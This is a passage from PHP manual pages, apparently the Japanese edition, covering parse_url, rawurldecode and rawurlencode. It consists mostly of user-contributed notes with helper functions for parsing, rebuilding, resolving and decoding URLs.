//return array("url"=>$sflfdfldf,"scheme"=>$scheme,"host"=>$host,"port"=>$port,"path"=>$path,"query"=>$query,"a"=>$url);
return $return;
}
?>

<?php
/* Compare two outputs */
//mine
print_r(url_parse("http://login.yahoo.com?.src=ym&.intl=gb&.lang=zh-Hans-HK&.done=https://mail.yahoo.com"));
//internal
print_r(parse_url("http://login.yahoo.com?.src=ym&.intl=gb&.lang=zh-Hans-HK&.done=https://mail.yahoo.com"));
?>
lauris () lauris ! lv 09-Apr-2014 08:49
Here is utf-8 compatible parse_url() replacement function based on "laszlo dot janszky at gmail dot com" work. Original incorrectly handled URLs with user:pass. Also made PHP 5.5 compatible (got rid of now deprecated regex /e modifier).

<?php

    /**
     * UTF-8 aware parse_url() replacement.
     *
     * @return array
     */
    function mb_parse_url($url)
    {
        $enc_url = preg_replace_callback(
            '%[^:/@?&=#]+%usD',
            function ($matches)
            {
                return urlencode($matches[0]);
            },
            $url
        );

        $parts = parse_url($enc_url);

        if($parts === false)
        {
            throw new \InvalidArgumentException('Malformed URL: ' . $url);
        }

        foreach($parts as $name => $value)
        {
            $parts[$name] = urldecode($value);
        }

        return $parts;
    }

?>
ivijan dot stefan at gmail dot com 26-Mar-2014 04:49
Here's a good way to using parse_url () gets the youtube link.
This function I used in many works:

<?php
function youtube($url, $width=560, $height=315, $fullscreen=true)
{
    parse_str( parse_url( $url, PHP_URL_QUERY ), $my_array_of_vars );
    $youtube= '<iframe allowtransparency="true" scrolling="no" width="'.$width.'" height="'.$height.'" src="//www.youtube.com/embed/'.$my_array_of_vars['v'].'" frameborder="0"'.($fullscreen?' allowfullscreen':NULL).'></iframe>';
    return $youtube;
}

// show youtube on my page
$url='http://www.youtube.com/watch?v=yvTd6XxgCBE';
 youtube($url, 560, 315, true);
?>

parse_url () allocates a unique youtube code and  put into iframe link and displayed on your page. The size of the videos choose yourself.

Enjoy.
utilmind 01-Jul-2013 12:06
parse_url doesn't works if the protocol doesn't specified. This seems like sandard, even the youtube doesn't gives the protocol name when generates code for embedding which have a look like "//youtube.com/etc".

So, to avoid bug, you must always check, whether the provided url has the protocol, and if not (starts with 2 slashes) -- add the "http:" prefix.
laszlo dot janszky at gmail dot com 24-May-2012 08:20
Created another parse_url utf-8 compatible function.
<?php
function mb_parse_url($url) {
    $encodedUrl = preg_replace('%[^:/?#&=\.]+%usDe', 'urlencode(\'$0\')', $url);
    $components = parse_url($encodedUrl);
    foreach ($components as &$component)
        $component = urldecode($component);
    return $components;
}
?>
therselman at gmail 28-Jan-2012 01:03
UTF-8 aware parse_url() replacement.

I've realized that even though UTF-8 characters are not allowed in URL's, I have to work with a lot of them and parse_url() will break.

Based largely on the work of "mallluhuct at gmail dot com", I added parse_url() compatible "named values" which makes the array values a lot easier to work with (instead of just numbers). I also implemented detection of port, username/password and a back-reference to better detect URL's like this: //en.wikipedia.com
... which, although is technically an invalid URL, it's used extensively on sites like wikipedia in the href of anchor tags where it's valid in browsers (one of the types of URL's you have to support when crawling pages). This will be accurately detected as the host name instead of "path" as in all other examples.

I will submit my complete function (instead of just the RegExp) which is an almost "drop-in" replacement for parse_url(). It returns a cleaned up array (or false) with values compatible with parse_url(). I could have told the preg_match() not to store the unused extra values, but it would complicate the RegExp and make it more difficult to read, understand and extend. The key to detecting UTF-8 characters is the use of the "u" parameter in preg_match().

<?php
function parse_utf8_url($url)
{
    static $keys = array('scheme'=>0,'user'=>0,'pass'=>0,'host'=>0,'port'=>0,'path'=>0,'query'=>0,'fragment'=>0);
    if (is_string($url) && preg_match(
            '~^((?P<scheme>[^:/?#]+):(//))?((\\3|//)?(?:(?P<user>[^:]+):(?P<pass>[^@]+)@)?(?P<host>[^/?:#]*))(:(?P<port>\\d+))?' .
            '(?P<path>[^?#]*)(\\?(?P<query>[^#]*))?(#(?P<fragment>.*))?~u', $url, $matches))
    {
        foreach ($matches as $key => $value)
            if (!isset($keys[$key]) || empty($value))
                unset($matches[$key]);
        return $matches;
    }
    return false;
}
?>

UTF-8 URL's can/should be "normalized" after extraction with this function.
thomas at gielfeldt dot com 02-Dec-2011 02:50
[If you haven't yet] been able to find a simple conversion back to string from a parsed url, here's an example:

<?php

$url = 'http://usr:pss@example.com:81/mypath/myfile.html?a=b&b[]=2&b[]=3#myfragment';
if ($url === unparse_url(parse_url($url))) {
  print "YES, they match!\n";
}

function unparse_url($parsed_url) {
  $scheme   = isset($parsed_url['scheme']) ? $parsed_url['scheme'] . '://' : '';
  $host     = isset($parsed_url['host']) ? $parsed_url['host'] : '';
  $port     = isset($parsed_url['port']) ? ':' . $parsed_url['port'] : '';
  $user     = isset($parsed_url['user']) ? $parsed_url['user'] : '';
  $pass     = isset($parsed_url['pass']) ? ':' . $parsed_url['pass']  : '';
  $pass     = ($user || $pass) ? "$pass@" : '';
  $path     = isset($parsed_url['path']) ? $parsed_url['path'] : '';
  $query    = isset($parsed_url['query']) ? '?' . $parsed_url['query'] : '';
  $fragment = isset($parsed_url['fragment']) ? '#' . $parsed_url['fragment'] : '';
  return "$scheme$user$pass$host$port$path$query$fragment";
}

?>
jesse at example dot com 25-Sep-2010 07:48
@ solenoid: Your code was very helpful, but it fails when the current URL has no query string (it appends '&' instead of '?' before the query).  Below is a fixed version that catches this edge case and corrects it.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    if (!$_SERVER['QUERY_STRING']) {$queryStart = "?";} else {$queryStart = "&";}
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= $queryStart.$key.'='.$value;
        }
    }
    return $url;
}
?>
solenoid at example dot com 22-Apr-2010 04:05
Here's a piece of code that modifies, replaces or removes the url query. This can typically used in paging situations where there are more parameters than the page.

<?php
function modify_url($mod)
{
    $url = "http://".$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
    $query = explode("&", $_SERVER['QUERY_STRING']);
    // modify/delete data
    foreach($query as $q)
    {
        list($key, $value) = explode("=", $q);
        if(array_key_exists($key, $mod))
        {
            if($mod[$key])
            {
                $url = preg_replace('/'.$key.'='.$value.'/', $key.'='.$mod[$key], $url);
            }
            else
            {
                $url = preg_replace('/&?'.$key.'='.$value.'/', '', $url);
            }
        }
    }
    // add new data
    foreach($mod as $key => $value)
    {
        if($value && !preg_match('/'.$key.'=/', $url))
        {
            $url .= '&'.$key.'='.$value;
        }
    }
    return $url;
}

// page url: "http://www.example.com/page.php?p=5&show=list&style=23"

$url = modify_url(array('p' => 4, 'show' => 'column'));

// $url = "http://www.example.com/page.php?p=4&show=column&style=23"
?>
james at roundeights dot com 26-Feb-2010 11:24
I was writing unit tests and needed to cause this function to kick out an error and return FALSE in order to test a specific execution path. If anyone else needs to force a failure, the following inputs will work:

<?php
parse_url("http:///example.com");
parse_url("http://:80");
parse_url("http://user@:80");
?>
need_sunny at yahoo dot com 25-Dec-2009 05:57
Thanks to xellisx for his parse_query function. I used it in one of my projects and it works well. But it has an error. I fixed the error and improved it a little bit. Here is my version of it:

<?php
// Originally written by xellisx
function parse_query($var)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = parse_url($var, PHP_URL_QUERY);
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>

At the first line there was parse_query($val), I made it $var. It used to return a null array before this fix.

I have added the parse_url line. So now the function will only focus in the query part, not the whole URL. This is useful if something like below is done:
<?php
$my_GET = parse_query($_SERVER['REQUEST_URI']);
?>
nirazuelos at gmail dot com 09-Oct-2009 02:45
Hello, for some odd reason, parse_url returns the host (ex. example.com) as the path when no scheme is provided in the input url. So I've written a quick function to get the real host:

<?php
function getHost($Address) {
   $parseUrl = parse_url(trim($Address));
   return trim($parseUrl[host] ? $parseUrl[host] : array_shift(explode('/', $parseUrl[path], 2)));
}

getHost("example.com"); // Gives example.com
getHost("http://example.com"); // Gives example.com
getHost("www.example.com"); // Gives www.example.com
getHost("http://example.com/xyz"); // Gives example.com
?>

You could try anything! It gives the host (including the subdomain if exists).

Hope it helped you.
ap dot public1 at gmail dot com 14-Jul-2009 08:36
Simple static library that allows easy manipulation of url parameters:

<?php
    /**
     * File provides easy way to manipulate url parameters
     * @author Alexander Podgorny
     */

    class Url {
        /**
         * Splits url into array of it's pieces as follows:
         * [scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]
         * In addition it adds 'query_params' key which contains array of
         * url-decoded key-value pairs
         *
         * @param String $sUrl Url
         * @return Array Parsed url pieces
         */
        public static function explode($sUrl) {
            $aUrl = parse_url($sUrl);
            $aUrl['query_params'] = array();
            $aPairs = explode('&', $aUrl['query']);
            DU::show($aPairs);
            foreach($aPairs as $sPair) {
                if (trim($sPair) == '') { continue; }
                list($sKey, $sValue) = explode('=', $sPair);
                $aUrl['query_params'][$sKey] = urldecode($sValue);
            }
            return $aUrl;
        }
        /**
         * Compiles url out of array of it's pieces (returned by explodeUrl)
         * 'query' is ignored if 'query_params' is present
         *
         * @param Array $aUrl Array of url pieces
         */
        public static function implode($aUrl) {
            //[scheme]://[user]:[pass]@[host]/[path]?[query]#[fragment]

            $sQuery = '';

            // Compile query
            if (isset($aUrl['query_params']) && is_array($aUrl['query_params'])) {
                $aPairs = array();
                foreach ($aUrl['query_params'] as $sKey=>$sValue) {
                    $aPairs[] = $sKey.'='.urlencode($sValue);
                }
                $sQuery = implode('&', $aPairs);
            } else {
                $sQuery = $aUrl['query'];
            }

            // Compile url
            $sUrl =
                $aUrl['scheme'] . '://' . (
                    isset($aUrl['user']) && $aUrl['user'] != '' && isset($aUrl['pass'])
                       ? $aUrl['user'] . ':' . $aUrl['pass'] . '@'
                       : ''
                ) .
                $aUrl['host'] . (
                    isset($aUrl['path']) && $aUrl['path'] != ''
                       ? $aUrl['path']
                       : ''
                ) . (
                   $sQuery != ''
                       ? '?' . $sQuery
                       : ''
                ) . (
                   isset($aUrl['fragment']) && $aUrl['fragment'] != ''
                       ? '#' . $aUrl['fragment']
                       : ''
                );
            return $sUrl;
        }
        /**
         * Parses url and returns array of key-value pairs of url params
         *
         * @param String $sUrl
         * @return Array
         */
        public static function getParams($sUrl) {
            $aUrl = self::explode($sUrl);
            return $aUrl['query_params'];
        }
        /**
         * Removes existing url params and sets them to those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function setParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = $aParams;
            return self::implode($aUrl);
        }
        /**
         * Updates values of existing url params and/or adds (if not set) those specified in $aParams
         *
         * @param String $sUrl Url
         * @param Array $aParams Array of Key-Value pairs to set url params to
         * @return  String Newly compiled url
         */
        public static function updateParams($sUrl, $aParams) {
            $aUrl = self::explode($sUrl);
            $aUrl['query'] = '';
            $aUrl['query_params'] = array_merge($aUrl['query_params'], $aParams);
            return self::implode($aUrl);
        }
    }

?>
vdklah at hotmail dot com 17-Oct-2008 02:53
Some example that determines the URL port.
When port not specified, it derives it from the scheme.

<?php
function getUrlPort( $urlInfo )
{
    if( isset($urlInfo['port']) ) {
        $port = $urlInfo['port'];
    } else { // no port specified; get default port
        if (isset($urlInfo['scheme']) ) {
            switch( $urlInfo['scheme'] ) {
                case 'http':
                    $port = 80; // default for http
                    break;
                case 'https':
                    $port = 443; // default for https
                    break;
                case 'ftp':
                    $port = 21; // default for ftp
                    break;
                case 'ftps':
                    $port = 990; // default for ftps
                    break;
                default:
                    $port = 0; // error; unsupported scheme
                    break;
            }
        } else {
            $port = 0; // error; unknown scheme
        }
    }
    return $port;
}

$url = "http://nl3.php.net/manual/en/function.parse-url.php";
$urlInfo = parse_url( $url );
$urlPort = getUrlPort( $urlInfo );
if( $urlPort !== 0 ) {
    print 'Found URL port: '.$urlPort;
} else {
    print 'ERROR: Could not find port at URL: '.$url;
}
?>
xellisx 01-Oct-2008 08:37
I need to parse out the query string from the referrer, so I created this function.

<?php
function parse_query($val)
 {
  /**
   *  Use this function to parse out the query array element from
   *  the output of parse_url().
   */
  $var  = html_entity_decode($var);
  $var  = explode('&', $var);
  $arr  = array();

  foreach($var as $val)
   {
    $x          = explode('=', $val);
    $arr[$x[0]] = $x[1];
   }
  unset($val, $x, $var);
  return $arr;
 }
?>
nospam at spellingcow dot com 08-Sep-2008 02:03
URL's in the query string of a relative URL will cause a problem

fails:
/page.php?foo=bar&url=http://www.example.com

parses:
http://www.foo.com/page.php?foo=bar&url=http://www.example.com
to1ne at hotmail dot com 13-Jun-2008 11:01
Based on the idea of "jbr at ya-right dot com" have I been working on a new function to parse the url:

<?php
function parseUrl($url) {
    $r  = "^(?:(?P<scheme>\w+)://)?";
    $r .= "(?:(?P<login>\w+):(?P<pass>\w+)@)?";
    $r .= "(?P<host>(?:(?P<subdomain>[\w\.]+)\.)?" . "(?P<domain>\w+\.(?P<extension>\w+)))";
    $r .= "(?::(?P<port>\d+))?";
    $r .= "(?P<path>[\w/]*/(?P<file>\w+(?:\.\w+)?)?)?";
    $r .= "(?:\?(?P<arg>[\w=&]+))?";
    $r .= "(?:#(?P<anchor>\w+))?";
    $r = "!$r!";                                                // Delimiters

    preg_match ( $r, $url, $out );

    return $out;
}
print_r ( parseUrl ( 'me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url' ) );
?>

This returns:
Array
(
    [0] => me:you@sub.site.org:29000/pear/validate.html?happy=me&sad=you#url
    [scheme] =>
    [1] =>
    [login] => me
    [2] => me
    [pass] => you
    [3] => you
    [host] => sub.site.org
    [4] => sub.site.org
    [subdomain] => sub
    [5] => sub
    [domain] => site.org
    [6] => site.org
    [extension] => org
    [7] => org
    [port] => 29000
    [8] => 29000
    [path] => /pear/validate.html
    [9] => /pear/validate.html
    [file] => validate.html
    [10] => validate.html
    [arg] => happy=me&sad=you
    [11] => happy=me&sad=you
    [anchor] => url
    [12] => url
)

So both named and numbered array keys are possible.

It's quite advanced, but I think it works in any case... Let me know if it doesn't...
spam at paulisageek dot com 08-Aug-2007 12:05
In reply to adrian,

Thank you very much for your function. There is a small issue with your relative protocol function. You need to remove the // when making the url the path. Here is the new function.

function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>substr($url,2),
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
adrian-php at sixfingeredman dot net 25-Jul-2007 02:58
Here's a function which implements resolving a relative URL according to RFC 2396 section 5.2. No doubt there are more efficient implementations, but this one tries to remain close to the standard for clarity. It relies on a function called "unparse_url" to implement section 7, left as an exercise for the reader (or you can substitute the "glue_url" function posted earlier).

<?php
/**
 * Resolve a URL relative to a base path. This happens to work with POSIX
 * filenames as well. This is based on RFC 2396 section 5.2.
 */
function resolve_url($base, $url) {
        if (!strlen($base)) return $url;
        // Step 2
        if (!strlen($url)) return $base;
        // Step 3
        if (preg_match('!^[a-z]+:!i', $url)) return $url;
        $base = parse_url($base);
        if ($url{0} == "#") {
                // Step 2 (fragment)
                $base['fragment'] = substr($url, 1);
                return unparse_url($base);
        }
        unset($base['fragment']);
        unset($base['query']);
        if (substr($url, 0, 2) == "//") {
                // Step 4
                return unparse_url(array(
                        'scheme'=>$base['scheme'],
                        'path'=>$url,
                ));
        } else if ($url{0} == "/") {
                // Step 5
                $base['path'] = $url;
        } else {
                // Step 6
                $path = explode('/', $base['path']);
                $url_path = explode('/', $url);
                // Step 6a: drop file from base
                array_pop($path);
                // Step 6b, 6c, 6e: append url while removing "." and ".." from
                // the directory portion
                $end = array_pop($url_path);
                foreach ($url_path as $segment) {
                        if ($segment == '.') {
                                // skip
                        } else if ($segment == '..' && $path && $path[sizeof($path)-1] != '..') {
                                array_pop($path);
                        } else {
                                $path[] = $segment;
                        }
                }
                // Step 6d, 6f: remove "." and ".." from file portion
                if ($end == '.') {
                        $path[] = '';
                } else if ($end == '..' && $path && $path[sizeof($path)-1] != '..') {
                        $path[sizeof($path)-1] = '';
                } else {
                        $path[] = $end;
                }
                // Step 6h
                $base['path'] = join('/', $path);

        }
        // Step 7
        return unparse_url($base);
}
?>


URL エンコードされた文字列をデコードする

  • ≪ parse_url
  • rawurlencode ≫
  • PHP Manual
  • URL 関数
  • URL エンコードされた文字列をデコードする

rawurldecode

(PHP 4, PHP 5, PHP 7, PHP 8)

rawurldecode — URL エンコードされた文字列をデコードする

説明

rawurldecode ( string $string ) : string

文字列の中にパーセント記号 (%) に続いて 2 つの 16 進数があるような表現形式を、文字定数に置き換えて返します。

パラメータ

string

デコードする URL。

返り値

デコードされた URL を文字列で返します。

例

例1 rawurldecode() の例

<?php

echo rawurldecode('foo%20bar%40baz'); // foo bar@baz

?>

注意

注意:

rawurldecode() は、プラス記号 ('+') をスペースに変換しません。urldecode() は変換します。

参考

  • rawurlencode() - RFC 3986 に基づき URL エンコードを行う
  • urldecode() - URL エンコードされた文字列をデコードする
  • urlencode() - 文字列を URL エンコードする
  • » RFC 3986

User Contributed Notes

admin at yemennownews dot com 20-May-2018 01:43
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)

http://yemennownews.com
jakub dot lopuszanski at nasza-klasa dot pl 24-Jan-2014 07:59
Be aware that rawurldecode does not warn you in any way if the output is nonvalid UTF-8.
For example if the input passed to the function is just "%C5", then since C is 1100 in binary, and UTF-8 characters starting with 110 should be followed by another character, the result of rawurldecode will be just a single byte (with value \xC5) which is not a correct UTF-8.
Confront this with for example Javascript which will warn you about it:

JAVASCRIPT:

decodeURI("%C5")
URIError: URI malformed

decodeURIComponent("%C5")
URIError: URI malformed

unescape("%C5")
"A"

PHP:
var_dump(rawurldecode("%C5"))
string(1) "?"

php -v
PHP 5.3.6 (cli) (built: Oct  4 2012 10:19:07)
Copyright (c) 1997-2011 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2011 Zend Technologies
    with Suhosin v0.9.32.1, Copyright (c) 2007-2010, by SektionEins GmbH
Cagivaracer 06-Jul-2009 04:40
Please note that the combination encodeURIComponent (Javascript) and rawurldecode (PHP) only works well if magic quotes are turned off in php.ini (magic_quotes_gpc = Off)
Javier A. Segura at gmail dot com 04-Jan-2008 12:13
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like n","N","a","e","i", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// an

?>
For example, you have the character "n" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "n" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// n

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Javier A. Segura at gmail dot com 04-Jan-2008 12:07
Hi everybody =) My name is Javier and I'm from Argentina.
I've had a little issue with latin characters like n","N","a","e","i", etc.
They are not decoded with rawurlencode(), so I've made this:
<?php
function urlRawDecode($raw_url_encoded)
{
    # Hex conversion table
    $hex_table = array(
        0 => 0x00,
        1 => 0x01,
        2 => 0x02,
        3 => 0x03,
        4 => 0x04,
        5 => 0x05,
        6 => 0x06,
        7 => 0x07,
        8 => 0x08,
        9 => 0x09,
        "A"=> 0x0a,
        "B"=> 0x0b,
        "C"=> 0x0c,
        "D"=> 0x0d,
        "E"=> 0x0e,
        "F"=> 0x0f
    );

    # Fixin' latin character problem
        if(preg_match_all("/\%C3\%([A-Z0-9]{2})/i", $raw_url_encoded,$res))
        {
            $res = array_unique($res = $res[1]);
            $arr_unicoded = array();
            foreach($res as $key => $value){
                $arr_unicoded[] = chr(
                        (0xc0 | ($hex_table[substr($value,0,1)]<<4))
                       | (0x03 & $hex_table[substr($value,1,1)])
                );
                $res[$key] = "%C3%" . $value;
            }

            $raw_url_encoded = str_replace(
                                    $res,
                                    $arr_unicoded,
                                    $raw_url_encoded
                        );
        }

        # Return decoded  raw url encoded data
        return rawurldecode($raw_url_encoded);
}

print urlRawDecode("%C3%A1%C3%B1");

// output:
// an

?>
For example, you have the character "n" encoded like this "%C3%B1".
This is nothing more and nothing less than 0xc3 and 0xb1,
they are binary numbers, (HHHH LLLL, where HHHH=High and LLLL=Low).
0xc3 = 1100 0011 (binary 8 bit word), 0xb1 = 1011 0001 (binary 8 bit word),
To convert a raw encoded character to ascii we have to make boolean operations
between this two operands (0xc3 and 0xb1), boolean algebra were defined by George
Boole, we need to use them here. The first one we going to use is the
logical OR ("|" or "pipe") and logical AND ("&" or "and person").

A logical OR implies the following truth table:
a b (a OR b)
0 0     0
0 1     1   (a OR b or Both, a and b, must be true to get a true result)
1 0     1
1 1     1

A logical AND implies the following truth table:
a b (a AND b)
0 0     0
0 1     0
1 0     0
1 1     1   (Both a AND b, must be true to get a true result)

So, here we have to make a logical OR with both 0xc3 and 0xb1 HIGH nibble,
a nibble is a half byte (4 bits), so we have to make a logical OR between
1100 (0xc) and 1011 (0xb), we going to get this: 1111 (0xf), then we have to make
a logical AND between both LOW nibble, 0011 (0x3) and 0001 (0x1), we going to get
this: 0001, so, if we want to see the final result, we have to put HIGH and LOW
nibble on his Byte position, like this: 1111 0001 (0xf1) and that is nothing
more and nothing less than "n" (to check this out, try the following: print(chr(0xf1));).

This "<<" is a logical shift left, if we have this binary number 0001 (1) and we make this:
0001 << 2 we'll get 0100 (4) right bits are filled with 0's.

<?php
# Conversion example %C3%B1 to ASCII (0x71)
print(
    chr(
        (0xc0|0x0b<<4) | (0x03&0x01)
    )
);

// Output will be:
// n

// 1100 0000 OR 1011 0000 = 1111 0000 (0xf0)
// 0000 0011 AND 0000 0001 = 0000 0001 (0x01)
// 1111 0000 OR 0000 0001 = 1111 0001 (0xf1)

?>

PS: I'm so sorry about my english, I know, is horrible :P
Tomek Perlak [tomekperlak at tlen pl] 13-Nov-2006 03:03
Let's say you pass some data between the client and the server in a more or less array-like structure.

If using the [] brackets in the field names is not enough (or won't comply with the rest of the project for some reason), you might have to use a string with a number of different delimiters (rows, fields, rows inside fields and such).

To make sure that the data doesn't get mistaken for delimiters, you can use the encodeURIComponent() JavaScript function. It pairs nicely with rawurldecode().

Once the string passed to the server side finally gets exploded into an array (or set of such), you could use the following function to recursively rawurldecode the array(s):

<?php

function rawurldecode_array(&$arr)
{
    foreach (array_keys($arr) as $key)
    {
        if (is_array($arr[$key]))
        {
            rawurldecode_array($arr[$key]);
        }
        else
        {
            $arr[$key] = rawurldecode($arr[$key]);
        }
    }
}

$a[0] = rawurlencode("2+1:3?9");
$a["k"] = rawurlencode("@:-/");
$a[-3][0] = rawurlencode("+");
$a[-3][2] = rawurlencode("=_~");
$a[-3]["a"] = rawurlencode("this+is a%test");

echo "<pre>"; print_r($a); echo "</pre>";

rawurldecode_array($a);

echo "<pre>"; print_r($a); echo "</pre>";

?>

The program will output:

Array
(
    [0] => 2%2B1%3A3%3F9
    [k] => %40%3A-%2F
    [-3] => Array
        (
            [0] => %2B
            [2] => %3D_%7E
            [a] => this%2Bis%20a%25test
        )

)

Array
(
    [0] => 2+1:3?9
    [k] => @:-/
    [-3] => Array
        (
            [0] => +
            [2] => =_~
            [a] => this+is a%test
        )

)
php dot net at hiddemann dot org 23-May-2005 02:08
To sum it up: the only difference of this function to the urldecode function is that the "+" character won't get translated.


RFC 3986 に基づき URL エンコードを行う

  • ≪ rawurldecode
  • urldecode ≫
  • PHP Manual
  • URL 関数
  • RFC 3986 に基づき URL エンコードを行う

rawurlencode

(PHP 4, PHP 5, PHP 7, PHP 8)

rawurlencode — RFC 3986 に基づき URL エンコードを行う

説明

rawurlencode ( string $string ) : string

指定した文字列を » RFC 3986 にもとづいてエンコードします。

パラメータ

string

エンコードする URL。

返り値

-_.~ を除くすべての非アルファベット文字をパーセント 記号 (%)に続いて 2 つの 16 進数がある表現形式に 置き換えた文字列を返します。これは、文字定数が特殊な URL デリミタと して解釈されたり、URL デリミタが(いくつかの電子メールシステムのような) 転送メディアにより文字変換されて失われてしまったりすることが ないように、» RFC 3986 で定められたエンコーディング方法です。

注意:

PHP 5.3.0 より前のバージョンでは、rawurlencode はチルダ (~) もエンコードしていました。これは » RFC 1738 で定められた方法です。

例

例1 FTP URL へのパスワードの埋め込み

<?php
echo '<a href="ftp://user:', rawurlencode('foo @+%/'),
     '@ftp.example.com/x.txt">';
?>

